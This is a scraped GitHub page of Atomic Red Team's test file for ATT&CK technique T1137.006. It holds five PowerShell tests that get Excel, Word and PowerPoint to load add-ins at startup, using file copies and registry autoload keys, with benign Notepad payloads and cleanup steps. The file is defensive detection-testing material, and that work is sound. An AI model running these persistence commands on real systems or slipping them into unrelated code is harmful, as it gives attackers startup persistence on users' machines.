Product Solutions Resources Open Source Enterprise Pricing Sign in Sign up

redcanaryco / atomic-red-team Public

Notifications Fork 2.8k Star 9.7k

Code Issues 6 Pull requests 5 Actions Wiki Security Insights

Files

4ae9580

Go to file

- .github
- atomic_red_team
- atomics
  - Indexes
  - T1003.001
  - T1003.002
  - T1003.003
  - T1003.004
  - T1003.005
  - T1003.006
  - T1003.007
  - T1003.008
  - T1003
  - T1006
  - T1007
  - T1010
  - T1012
  - T1014
  - T1016
  - T1018
  - T1020
  - T1021.001
  - T1021.002
  - T1021.003
  - T1021.006
  - T1027.001
  - T1027.002
  - T1027.004
  - T1027.006
  - T1027
  - T1030
  - T1033
  - T1036.003
  - T1036.004
  - T1036.005
  - T1036.006

atomic-red-team / atomics / T1137.006 / T1137.006.md

Atomic Red Team doc generat... Generated docs from job=generate-d... 95ec2d0 · 2 years ago History

Preview Code Blame 372 lines (263 loc) · 12.9 KB Raw

T1137.006 - Office Application Startup: Add-ins

Description from ATT&CK

> Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system. Office add-ins can be used to add functionality to Office programs. (Citation: Microsoft Office Add-ins) There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), Visual Studio Tools for Office (VSTO) add-ins, and Outlook add-ins. (Citation: MRWLabs Office Persistence Add-ins)(Citation: FireEye Mail CDS 2018)
> Add-ins can be used to obtain persistence because they can be set to execute code when an Office application starts.

Atomic Tests

- Atomic Test #1 - Code Executed Via Excel Add-in File (XLL)
- Atomic Test #2 - Persistent Code Execution Via Excel Add-in File (XLL)
- Atomic Test #3 - Persistent Code Execution Via Word Add-in File (WLL)
- Atomic Test #4 - Persistent Code Execution Via Excel VBA Add-in File (XLAM)
- Atomic Test #5 - Persistent Code Execution Via PowerPoint VBA Add-in File (PPAM)

Atomic Test #1 - Code Executed Via Excel Add-in File (XLL)

Loads an XLL file using the excel add-ins library. This causes excel to launch Notepad.exe as a child process. This atomic test does not include persistent code execution as you would typically see when this is implemented in malware.

Supported Platforms: Windows

auto_generated_guid: 441b1a0f-a771-428a-8af0-e99e4698cda3

Attack Commands: Run with `powershell`!

```
$excelApp = New-Object -COMObject "Excel.Application"
if(-not $excelApp.path.contains("Program Files (x86)")){
    Write-Host "64-bit Office"
    $excelApp.RegisterXLL("PathToAtomicsFolder\T1137.006\bin\Addins\exce
```

- T1036
- T1037.001
- T1037.002
- T1037.004
- T1037.005
- T1039

```
}
else{
  Write-Host "32-bit Office"
  $excelApp.RegisterXLL("PathToAtomicsFolder\T1137.006\bin\Addins\excelx
}
```

Cleanup Commands:

```
Stop-Process -Name "notepad","Excel" -ErrorAction Ignore
```

Dependencies: Run with `powershell`!

Description: Microsoft Excel must be installed

Check Prereq Commands:

```
try {
  New-Object -COMObject "Excel.Application" | Out-Null
  Stop-Process -Name "Excel"
  exit 0
} catch { exit 1 }
```

Get Prereq Commands:

```
Write-Host "You will need to install Microsoft Excel manually to meet th
```

Description: XLL files must exist on disk at specified location

Check Prereq Commands:

```
if ((Test-Path "PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x64.xl
```

Get Prereq Commands:

```
New-Item -Type Directory "PathToAtomicsFolder\T1137.006\bin\Addins\" -Fo
Invoke-Webrequest -Uri "https://github.com/redcanaryco/atomic-red-team/r
Invoke-Webrequest -Uri "https://github.com/redcanaryco/atomic-red-team/r
```

Atomic Test #2 - Persistent Code Execution Via Excel Add-in File (XLL)

Creates an Excel Add-in file (XLL) and sets a registry key to make it run automatically when Excel is started The sample XLL provided launches the notepad as a proof-of-concept for persistent execution from Office.

Supported Platforms: Windows

auto_generated_guid: 9c307886-9fef-41d5-b344-073a0f5b2f5f

Attack Commands: Run with `powershell`!

```
$excelApp = New-Object -COMObject "Excel.Application"
if(-not $excelApp.path.contains("Program Files (x86)")){
    Write-Host "64-bit Office"
    Copy "PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x64.xll" "$e
}
else{
  Write-Host "32-bit Office"
  Copy "PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x86.xll" "$env
}
```

```
$ver = $excelApp.version
$ExcelRegPath="HKCU:\Software\Microsoft\Office\$Ver\Excel\Options"
Remove-Item $ExcelRegPath -ErrorAction Ignore
New-Item -type Directory $ExcelRegPath | Out-Null
New-ItemProperty $ExcelRegPath OPEN -value "/R notepad.xll" -propertyTyp
$excelApp.Quit()
Start-Process "Excel"
```

Cleanup Commands:

```
$ver = (New-Object -COMObject "Excel.Application").version
Remove-Item "HKCU:\Software\Microsoft\Office\$Ver\Excel\Options" -ErrorA
Stop-Process -Name "notepad","Excel" -ErrorAction Ignore
Start-Sleep 3
Remove-Item "$env:APPDATA\Microsoft\AddIns\notepad.xll" -ErrorAction Ign
```

Dependencies: Run with `powershell`!

Description: Microsoft Excel must be installed

Check Prereq Commands:

```
try {
  New-Object -COMObject "Excel.Application" | Out-Null
  Stop-Process -Name "Excel"
  exit 0
} catch { exit 1 }
```

Get Prereq Commands:

```
Write-Host "You will need to install Microsoft Excel manually to meet th
```

Description: XLL files must exist on disk at specified location

Check Prereq Commands:

```
if ((Test-Path "PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x64.xl
```

Get Prereq Commands:

```
New-Item -Type Directory "PathToAtomicsFolder\T1137.006\bin\Addins\" -Fo
Invoke-Webrequest -Uri "https://github.com/redcanaryco/atomic-red-team/r
Invoke-Webrequest -Uri "https://github.com/redcanaryco/atomic-red-team/r
```

Atomic Test #3 - Persistent Code Execution Via Word Add-in File (WLL)

Creates a Word Add-in file (WLL) which runs automatically when Word is started The sample WLL provided launches the notepad as a proof-of-concept for persistent execution from Office. Successfully tested on 32-bit Office 2016. Not successful from microsoft 365 version of Office.

Supported Platforms: Windows

auto_generated_guid: 95408a99-4fa7-4cd6-a7ef-cb65f86351cf

Attack Commands: Run with `powershell`!

```
$wdApp = New-Object -COMObject "Word.Application"
if(-not $wdApp.path.contains("Program Files (x86)"))
{
  Write-Host "64-bit Office"
  Copy "PathToAtomicsFolder\T1137.006\bin\Addins\wordwll_x64.wll" "$env:
}
else{
  Write-Host "32-bit Office"
  Copy "PathToAtomicsFolder\T1137.006\bin\Addins\wordwll_x86.wll" "$env:
}
Stop-Process -Name "WinWord"
Start-Process "WinWord"
```

Cleanup Commands:

```
Stop-Process -Name "notepad","WinWord" -ErrorAction Ignore
Start-Sleep 3
Remove-Item "$env:APPDATA\Microsoft\Word\Startup\notepad.wll" -ErrorActi
```

Dependencies: Run with `powershell`!

Description: Microsoft Word must be installed

Check Prereq Commands:

```
try {
  New-Object -COMObject "Word.Application" | Out-Null
  Stop-Process -Name "winword"
  exit 0
} catch { exit 1 }
```

Get Prereq Commands:

```
Write-Host "You will need to install Microsoft Word manually to meet thi
```

Description: WLL files must exist on disk at specified location

Check Prereq Commands:

```
if ((Test-Path "PathToAtomicsFolder\T1137.006\bin\Addins\wordwll_x64.wll
```

Get Prereq Commands:

```
New-Item -Type Directory "PathToAtomicsFolder\T1137.006\bin\Addins\" -Fo
Invoke-Webrequest -Uri "https://github.com/redcanaryco/atomic-red-team/r
Invoke-Webrequest -Uri "https://github.com/redcanaryco/atomic-red-team/r
```

Atomic Test #4 - Persistent Code Execution Via Excel VBA Add-in File (XLAM)

Creates an Excel VBA Add-in file (XLAM) which runs automatically when Excel is started The sample XLAM provided launches the notepad as a proof-of-concept for persistent execution from Office.

Supported Platforms: Windows

auto_generated_guid: 082141ed-b048-4c86-99c7-2b8da5b5bf48

Attack Commands: Run with `powershell`!

```
Copy "PathToAtomicsFolder\T1137.006\bin\Addins\ExcelVBAaddin.xlam" "$env
Start-Process "Excel"
```

Cleanup Commands:

```
Stop-Process -Name "notepad","Excel" -ErrorAction Ignore
Start-Sleep 3
Remove-Item "$env:APPDATA\Microsoft\Excel\XLSTART\notepad.xlam" -ErrorAc
```

Dependencies: Run with `powershell`!

Description: Microsoft Excel must be installed

Check Prereq Commands:

```
try {
  New-Object -COMObject "Excel.Application" | Out-Null
  Stop-Process -Name "Excel"
  exit 0
} catch { exit 1 }
```

Get Prereq Commands:

```
Write-Host "You will need to install Microsoft Excel manually to meet th
```

Description: XLAM file must exist on disk at specified location

Check Prereq Commands:

```
if (Test-Path "PathToAtomicsFolder\T1137.006\bin\Addins\ExcelVBAaddin.xl
```

Get Prereq Commands:

```
New-Item -Type Directory "PathToAtomicsFolder\T1137.006\bin\Addins\" -Fo
Invoke-Webrequest -Uri "https://github.com/redcanaryco/atomic-red-team/r
```

Atomic Test #5 - Persistent Code Execution Via PowerPoint VBA Add-in File (PPAM)

Creates a PowerPoint VBA Add-in file (PPAM) which runs automatically when PowerPoint is started The sample PPA provided launches the notepad as a proof-of-concept for persistent execution from Office.

Supported Platforms: Windows

auto_generated_guid: f89e58f9-2b49-423b-ac95-1f3e7cfd8277

Attack Commands: Run with `powershell`!

```
Copy "PathToAtomicsFolder\T1137.006\bin\Addins\PptVBAaddin.ppam" "$env:A
$ver = (New-Object -COMObject "PowerPoint.Application").version
$ExcelRegPath="HKCU:\Software\Microsoft\Office\$Ver\PowerPoint\AddIns\no
New-Item -type Directory $ExcelRegPath -Force | Out-Null
New-ItemProperty $ExcelRegPath "Autoload" -value "1" -propertyType DWORD
New-ItemProperty $ExcelRegPath "Path" -value "notepad.ppam" -propertyTyp
Stop-Process -Name "PowerPnt" -ErrorAction Ignore
Start-Process "PowerPnt"
```

Cleanup Commands:

```
$ver = (New-Object -COMObject "PowerPoint.Application").version
Remove-Item "HKCU:\Software\Microsoft\Office\$Ver\PowerPoint\AddIns\note
Stop-Process -Name "notepad","PowerPnt" -ErrorAction Ignore
Start-Sleep 3
Remove-Item "$env:APPDATA\Microsoft\AddIns\notepad.ppam"  -ErrorAction I
```

Dependencies: Run with `powershell`!

Description: Microsoft Excel must be installed

Check Prereq Commands:

```
try {
  New-Object -COMObject "PowerPoint.Application" | Out-Null
  Stop-Process -Name "PowerPnt"
  exit 0
} catch { exit 1 }
```

Get Prereq Commands:

```
Write-Host "You will need to install Microsoft PowerPoint manually to me
```

Description: PPAM file must exist on disk at specified location

Check Prereq Commands:

```
if (Test-Path "PathToAtomicsFolder\T1137.006\bin\Addins\PptVBAaddin.ppam
```

Get Prereq Commands:

```
New-Item -Type Directory "PathToAtomicsFolder\T1137.006\bin\Addins\" -Fo
Invoke-Webrequest -Uri "https://github.com/redcanaryco/atomic-red-team/r
```